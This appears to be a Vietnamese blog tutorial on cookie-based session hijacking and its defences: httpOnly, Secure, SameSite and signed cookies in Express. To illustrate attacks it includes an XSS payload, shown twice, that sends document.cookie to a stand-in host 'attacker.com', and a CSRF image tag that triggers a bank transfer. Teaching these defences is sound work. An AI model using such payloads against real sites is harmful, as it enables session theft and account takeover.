Session Hijacking Từ Cookie - Bảo Vệ Bằng Secure & Signing

Bạn vừa đăng nhập thành công vào trang quản trị, nhưng chỉ vài phút sau, tài khoản của bạn bất ngờ bị chiếm quyền. Kẻ tấn công đã đánh cắp Session ID từ Cookie và mạo danh bạn mà không cần biết mật khẩu. Đây chính là Session Hijacking - một trong những lỗ hổng bảo mật nguy hiểm nhất khi làm việc với Cookie.

Bài viết này sẽ giúp bạn hiểu rõ cách kẻ tấn công khai thác Cookie để chiếm phiên đăng nhập, và quan trọng hơn - cách phòng tránh hiệu quả với httpOnly, Secure, SameSite và Cookie Signing. Nếu ứng dụng của bạn đang sử dụng Cookie để quản lý session, bạn cần đọc bài này ngay.

#1. Cookies là gì?

Cookies là các tập tin nhỏ được lưu trên trình duyệt của người dùng, cho phép trang web “ghi nhớ” các thông tin cần thiết (như ID phiên, lựa chọn ngôn ngữ, trạng thái đăng nhập, v.v.). Khi người dùng truy cập trang web, trình duyệt sẽ gửi các Cookies kèm theo trong header của mỗi yêu cầu (request) đến máy chủ (server).

#1.1. Cách Cookies hoạt động

  • Trình duyệt (client) gửi yêu cầu (HTTP request) đến máy chủ.
  • Máy chủ phản hồi (HTTP response) kèm theo một hoặc nhiều Cookies nếu cần.
  • Trình duyệt lưu trữ các Cookies này và tự động gửi chúng trong các yêu cầu kế tiếp.

#1.2. Ví dụ minh họa

Dưới đây là một ví dụ đơn giản bằng JavaScript chạy trên trình duyệt để tạo và đọc Cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Cookie Example</title>
</head>
<body>
  <h1>Cookie Demo</h1>
  <script>
    // Tạo Cookie
    document.cookie = "username=John; path=/";

    // Đọc Cookie
    console.log("All Cookies:", document.cookie);

    // Kết quả hiển thị (trên Console) có thể là:
    // "All Cookies: username=John"
  </script>
</body>
</html>

Trong ví dụ trên, Cookie có tên là username với giá trị là John. Thông thường, Cookie này sẽ được trình duyệt tự động gửi kèm theo các request đến cùng domain, giúp máy chủ nhận ra người dùng tên John đã truy cập.

#2. Session Hijacking: Khi Cookie Trở Thành Mục Tiêu Tấn Công

Session Hijacking (chiếm quyền phiên) xảy ra khi kẻ tấn công đánh cắp Session ID từ Cookie của người dùng, sau đó sử dụng nó để mạo danh và truy cập trái phép vào tài khoản.

#2.1. Kịch bản tấn công thực tế

1
2
3
4
5
6
7
8
9
10
// Trang web lưu Session ID không bảo mật
document.cookie = "sessionId=abc123; path=/";

// Kẻ tấn công chèn mã độc qua XSS
const stolenCookie = document.cookie;
// Gửi Cookie về server của hacker
fetch('https://attacker.com/steal?cookie=' + stolenCookie);

// Giờ đây kẻ tấn công có thể dùng sessionId=abc123
// để mạo danh người dùng mà không cần mật khẩu!

Luồng tấn công XSS để chiếm Cookie:

View Mermaid diagram code
sequenceDiagram
    participant Attacker as Kẻ Tấn Công
    participant User as Người Dùng
    participant Browser as Trình Duyệt
    participant Server as Server

    Attacker->>Server: Post comment với <script>
    User->>Server: Tải trang web
    Server-->>Browser: HTML chứa mã độc
    Browser->>Browser: Thực thi script độc
    Browser->>Attacker: Gửi document.cookie
    Note over Attacker: Có Session ID!
    Attacker->>Server: Request với stolen cookie
    Server-->>Attacker: Truy cập như người dùng

Những điểm yếu dẫn đến Session Hijacking:

  1. Cookie không có httpOnly: JavaScript có thể đọc được document.cookie
  2. Cookie gửi qua HTTP: Dữ liệu không mã hóa, dễ bị nghe lén trên mạng
  3. Cookie không ký (unsigned): Kẻ tấn công có thể chỉnh sửa giá trị
  4. Cookie không có SameSite: Dễ bị lợi dụng trong tấn công CSRF

Các phần tiếp theo sẽ hướng dẫn cách khắc phục từng điểm yếu này.

#3. Giải pháp 1: httpOnly - Ngăn JavaScript Đọc Cookie

Thuộc tính httpOnly là tuyến phòng thủ đầu tiên chống lại tấn công XSS (Cross-Site Scripting). Khi Cookie có httpOnly, JavaScript không thể đọc được nó thông qua document.cookie.

#3.1. Cách httpOnly bảo vệ Cookie

1
2
3
4
5
6
// ❌ KHÔNG AN TOÀN: Cookie có thể bị đánh cắp qua XSS
document.cookie = "sessionId=abc123; path=/";
console.log(document.cookie); // "sessionId=abc123" - Đọc được!

// ✅ AN TOÀN: Thiết lập từ phía server với httpOnly
// Cookie này KHÔNG thể đọc bằng JavaScript

#Ví dụ thiết lập httpOnly với Node.js/Express:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require('express');
const app = express();

app.get('/login', (req, res) => {
  const sessionId = Math.random().toString(36).substring(2);

  // Thiết lập Cookie với httpOnly
  res.cookie('sessionId', sessionId, {
    httpOnly: true,      // Ngăn JavaScript đọc Cookie
    maxAge: 3600000      // 1 giờ
  });

  res.send('Logged in successfully!');
});

app.listen(3000);

Giải thích:

  • Cookie sessionId được gửi về trình duyệt nhưng JavaScript không thể đọc được
  • Ngay cả khi kẻ tấn công chèn mã <script>alert(document.cookie)</script>, họ sẽ không thấy sessionId
  • Cookie vẫn được trình duyệt tự động gửi kèm mỗi request đến server

#3.2. Tại sao httpOnly quan trọng?

Giả sử trang web của bạn bị tấn công XSS qua comment không được lọc:

1
2
3
4
<!-- Kẻ tấn công post comment chứa mã độc -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
  • Không có httpOnly: Session ID bị lộ, kẻ tấn công chiếm tài khoản
  • Có httpOnly: document.cookie trả về rỗng, Session ID được bảo vệ

#Lưu ý khi sử dụng httpOnly

  • httpOnly chỉ phòng chống XSS, không phòng được CSRF hoặc tấn công qua mạng
  • Cookie vẫn có thể bị đánh cắp nếu gửi qua HTTP (không mã hóa)
  • Cần kết hợp với các biện pháp khác: Secure, SameSite, Cookie Signing

#4. Giải pháp 2: Secure - Bảo Vệ Cookie Trên Đường Truyền

Thuộc tính Secure đảm bảo Cookie chỉ được gửi qua kết nối HTTPS (mã hóa). Nếu kết nối là HTTP, Cookie sẽ không được gửi, ngăn chặn kẻ tấn công nghe lén (sniffing) trên mạng.

#4.1. Tấn công Man-in-the-Middle (MITM) với HTTP

1
2
3
4
5
// ❌ NGUY HIỂM: Cookie gửi qua HTTP (không mã hóa)
res.cookie('sessionId', 'abc123', { httpOnly: true });

// Kẻ tấn công dùng Wireshark/tcpdump trên mạng WiFi công cộng
// có thể chặn và đọc được: sessionId=abc123

Kịch bản thực tế:

  1. Người dùng đăng nhập trên mạng WiFi quán cà phê
  2. Kẻ tấn công dùng công cụ nghe lén mạng
  3. Session ID gửi qua HTTP bị lộ
  4. Kẻ tấn công dùng Session ID để đăng nhập

#4.2. Cách Secure bảo vệ

1
2
3
4
5
6
// ✅ AN TOÀN: Cookie chỉ gửi qua HTTPS
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,        // Chỉ gửi qua HTTPS
  maxAge: 3600000
});

Giải thích:

  • Với secure: true, Cookie không được gửi nếu URL là http://example.com
  • Cookie chỉ gửi khi URL là https://example.com
  • Dữ liệu được mã hóa TLS/SSL, kẻ tấn công không đọc được

#Lưu ý khi dùng Secure

  1. Môi trường localhost: Cookie có Secure không hoạt động trên http://localhost. Giải pháp:

    1
    2
    3
    4
    5
    res.cookie('sessionId', sessionId, {
      httpOnly: true,
      secure: process.env.NODE_ENV === 'production', // Chỉ bật ở production
      maxAge: 3600000
    });
  2. Kết hợp với httpOnly: Luôn dùng cả hai

    1
    2
    3
    4
    5
    6
    // ✅ Best practice
    res.cookie('sessionId', sessionId, {
      httpOnly: true,  // Chống XSS
      secure: true,    // Chống MITM
      maxAge: 3600000
    });
  3. Triển khai HTTPS: Đảm bảo toàn bộ website dùng HTTPS, không chỉ trang login

#5. Giải pháp 3: SameSite - Ngăn Chặn CSRF Attack

Thuộc tính SameSite ngăn trình duyệt gửi Cookie khi request đến từ trang web khác (cross-site request), giúp phòng chống tấn công CSRF (Cross-Site Request Forgery).

#5.1. CSRF Attack hoạt động thế nào?

1
2
3
4
5
<!-- Trang web độc hại: attacker.com -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">

<!-- Nếu người dùng đã đăng nhập bank.com,
     Cookie session sẽ tự động được gửi kèm request này! -->

Kịch bản tấn công:

  1. Người dùng đăng nhập vào bank.com (có Cookie session hợp lệ)
  2. Người dùng vào trang attacker.com (không đăng xuất bank.com)
  3. Trang attacker.com chứa form/link gửi request đến bank.com
  4. Trình duyệt tự động gửi Cookie của bank.com kèm theo
  5. Server bank.com nghĩ đây là request hợp lệ và thực thi

Luồng tấn công CSRF:

View Mermaid diagram code
sequenceDiagram
    participant User as Người Dùng
    participant Bank as bank.com
    participant Attacker as attacker.com

    User->>Bank: Đăng nhập
    Bank-->>User: Set-Cookie: sessionId=xyz
    Note over User,Bank: User vẫn đăng nhập

    User->>Attacker: Vào trang độc hại
    Attacker-->>User: HTML với <img src="bank.com/transfer">
    User->>Bank: GET /transfer (Cookie tự động gửi!)
    Note over Bank: Cookie hợp lệ ✓
    Bank-->>User: Chuyển tiền thành công
    Note over Attacker: Lấy được tiền!

#5.2. SameSite bảo vệ như thế nào?

1
2
3
4
5
6
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',  // Hoặc 'lax', 'none'
  maxAge: 3600000
});

Các giá trị của SameSite:

Giá trịHành viKhi nào dùng
StrictCookie KHÔNG gửi khi request từ site khácSession quan trọng (banking, admin)
LaxCookie chỉ gửi với GET request từ site khácHầu hết website (UX tốt hơn Strict)
NoneCookie luôn gửi (cần kèm Secure)Embedded content, API cross-origin

#Ví dụ thực tế với Strict:

1
2
3
4
5
6
// Thiết lập Cookie với SameSite=Strict
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

Kết quả:

  • ✅ Request từ bank.combank.com: Cookie được gửi
  • ❌ Request từ attacker.combank.com: Cookie KHÔNG được gửi
  • ❌ Click link từ email → bank.com: Cookie KHÔNG được gửi (người dùng phải đăng nhập lại)

#Ví dụ với Lax (khuyến nghị cho hầu hết trường hợp):

1
2
3
4
5
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // Cân bằng bảo mật và UX
});

Kết quả:

  • ✅ Click link từ email → bank.com: Cookie được gửi (UX tốt)
  • ❌ POST request từ attacker.com: Cookie KHÔNG được gửi (chống CSRF)

#5.3. Lưu ý khi dùng SameSite

  • SameSite=None yêu cầu phải có Secure (HTTPS):

    1
    2
    3
    4
    res.cookie('thirdParty', value, {
      sameSite: 'none',
      secure: true  // BẮT BUỘC với SameSite=None
    });
  • Mặc định của trình duyệt: Nếu không chỉ định, Chrome/Edge dùng Lax, một số trình duyệt cũ dùng None

#6. Giải pháp 4: Cookie Signing - Phát Hiện Chỉnh Sửa Trái Phép

#6.1. Kịch bản tấn công Cookie Tampering

1
2
3
4
5
6
7
8
9
10
// Giả sử server lưu role trong Cookie (KHÔNG AN TOÀN)
res.cookie('role', 'user', { httpOnly: true, secure: true });

// Người dùng mở DevTools, sửa Cookie:
// role=user → role=admin

// Server nhận Cookie và tin tưởng:
if (req.cookies.role === 'admin') {
  // Cho phép truy cập admin panel! 🚨
}

Vấn đề: Server không có cách nào biết Cookie đã bị chỉnh sửa.

#6.2. Cookie Signing với HMAC

Cookie Signing thêm một chữ ký mật mã (cryptographic signature) vào Cookie. Nếu Cookie bị thay đổi, chữ ký sẽ không hợp lệ.

#Ví dụ với Express và cookie-parser:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();

// Secret key để ký Cookie (lưu trong environment variable)
app.use(cookieParser('my-super-secret-key-change-this'));

app.get('/login', (req, res) => {
  // Tạo signed cookie
  res.cookie('role', 'user', {
    signed: true,      // Bật cookie signing
    httpOnly: true,
    secure: true,
    sameSite: 'lax'
  });
  res.send('Logged in as user');
});

app.get('/admin', (req, res) => {
  // Đọc signed cookie
  const role = req.signedCookies.role;

  if (role === 'admin') {
    res.send('Welcome to admin panel');
  } else if (role === 'user') {
    res.status(403).send('Access denied: User is not admin');
  } else {
    // Cookie bị chỉnh sửa hoặc không hợp lệ
    res.status(401).send('Invalid cookie signature!');
  }
});

app.listen(3000);

Giải thích:

  • Cookie role=user được ký với secret key
  • Trình duyệt nhận Cookie dạng: s:user.HMAC_SIGNATURE
  • Nếu người dùng sửa role=admin, chữ ký không khớp
  • Server phát hiện qua req.signedCookies.role trả về false

#6.3. Signed Cookie vs Encrypted Cookie

Đặc điểmSigned CookieEncrypted Cookie
Bảo vệPhát hiện chỉnh sửaẨn nội dung + phát hiện chỉnh sửa
Hiệu năngNhanhChậm hơn (encrypt/decrypt)
Khi nào dùngSession ID, roleDữ liệu nhạy cảm (email, phone)

Lưu ý:

  • Signed cookie vẫn có thể đọc được giá trị (chỉ phát hiện sửa đổi)
  • Nếu cần giữ bí mật, dùng encrypted cookie hoặc lưu data trên server (chỉ lưu session ID trong cookie)

#7. Best Practices: Kết Hợp Tất Cả Các Biện Pháp

#7.1. Cấu hình Cookie an toàn chuẩn production

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();

app.use(cookieParser(process.env.COOKIE_SECRET));

app.post('/login', async (req, res) => {
  // Xác thực người dùng...
  const sessionId = generateSecureSessionId();

  // ✅ Cookie an toàn với TẤT CẢ các biện pháp
  res.cookie('sessionId', sessionId, {
    httpOnly: true,           // Chống XSS
    secure: true,             // Chỉ HTTPS
    sameSite: 'strict',       // Chống CSRF
    signed: true,             // Phát hiện tampering
    maxAge: 3600000,          // 1 giờ
    path: '/'
  });

  res.json({ success: true });
});

#7.2. Checklist bảo mật Cookie

Biện phápMục đíchBắt buộc?
httpOnlyChống XSS✅ Có (session cookie)
SecureChống MITM✅ Có (production)
SameSiteChống CSRF✅ Có (khuyến nghị lax)
SignedChống tampering⚠️ Tùy dữ liệu
MaxAge/ExpiresGiới hạn thời gian✅ Có
PathGiới hạn scope⚠️ Tùy ứng dụng
DomainChia sẻ subdomain⚠️ Cẩn thận

Sơ đồ quyết định: Chọn thuộc tính Cookie nào?

View Mermaid diagram code
flowchart TD
    Start([Cookie chứa gì?]) --> SessionID{Session ID?}
    SessionID -->|Có| AllFlags[httpOnly + Secure<br/>+ SameSite + Signed]
    SessionID -->|Không| Sensitive{Dữ liệu<br/>nhạy cảm?}

    Sensitive -->|Có| DontStore[❌ KHÔNG lưu trong Cookie<br/>Lưu trên server]
    Sensitive -->|Không| UserPref{User preferences<br/>công khai?}

    UserPref -->|Có| Basic[httpOnly + Secure<br/>+ SameSite]
    UserPref -->|Không| Tracking{Tracking/<br/>Analytics?}

    Tracking -->|Có| Minimal[Secure + SameSite=lax]
    Tracking -->|Không| AllFlags

    AllFlags --> Final[✅ Cookie an toàn]
    Basic --> Final
    Minimal --> Warning[⚠️ Cẩn thận GDPR]
    DontStore --> Encrypt[Hoặc dùng Encrypted Cookie]

#7.3. Các lỗi phổ biến cần tránh

❌ Lỗi 1: Lưu dữ liệu nhạy cảm trong Cookie

1
2
3
// NGUY HIỂM - Đừng làm thế này!
res.cookie('password', userPassword);
res.cookie('creditCard', cardNumber);

✅ Giải pháp: Chỉ lưu Session ID, dữ liệu nhạy cảm lưu trên server.

❌ Lỗi 2: Thiết lập Domain quá rộng

1
2
// Cookie này có thể bị đọc bởi TẤT CẢ subdomain
res.cookie('sessionId', id, { domain: '.example.com' });

✅ Giải pháp: Chỉ dùng khi thực sự cần chia sẻ giữa subdomain.

❌ Lỗi 3: Cookie không có thời hạn (permanent cookie)

1
2
// Cookie tồn tại mãi mãi cho đến khi người dùng xóa
res.cookie('sessionId', id, { httpOnly: true, secure: true });

✅ Giải pháp: Luôn thiết lập maxAge hoặc expires.

#7.4. Tóm tắt các tấn công và biện pháp phòng chống

Tấn côngCách thứcPhòng chống
XSSChèn JS để đọc document.cookiehttpOnly: true
MITMNghe lén Cookie trên mạng HTTPsecure: true
CSRFLợi dụng Cookie từ site khácsameSite: 'lax'/'strict'
TamperingSửa giá trị Cookiesigned: true
Session FixationÉp dùng Session ID cũRegenerate session sau login

Vậy là bạn đã hiểu cách Session Hijacking xảy ra và cách phòng tránh hiệu quả với httpOnly, Secure, SameSite và Cookie Signing. Trong thực tế, hãy luôn kết hợp TẤT CẢ các biện pháp này cho session cookie - đừng bỏ qua bất kỳ lớp bảo vệ nào. Bảo mật Cookie không chỉ là best practice mà là yêu cầu bắt buộc để bảo vệ người dùng khỏi các cuộc tấn công nghiêm trọng. Hãy áp dụng ngay vào dự án của bạn!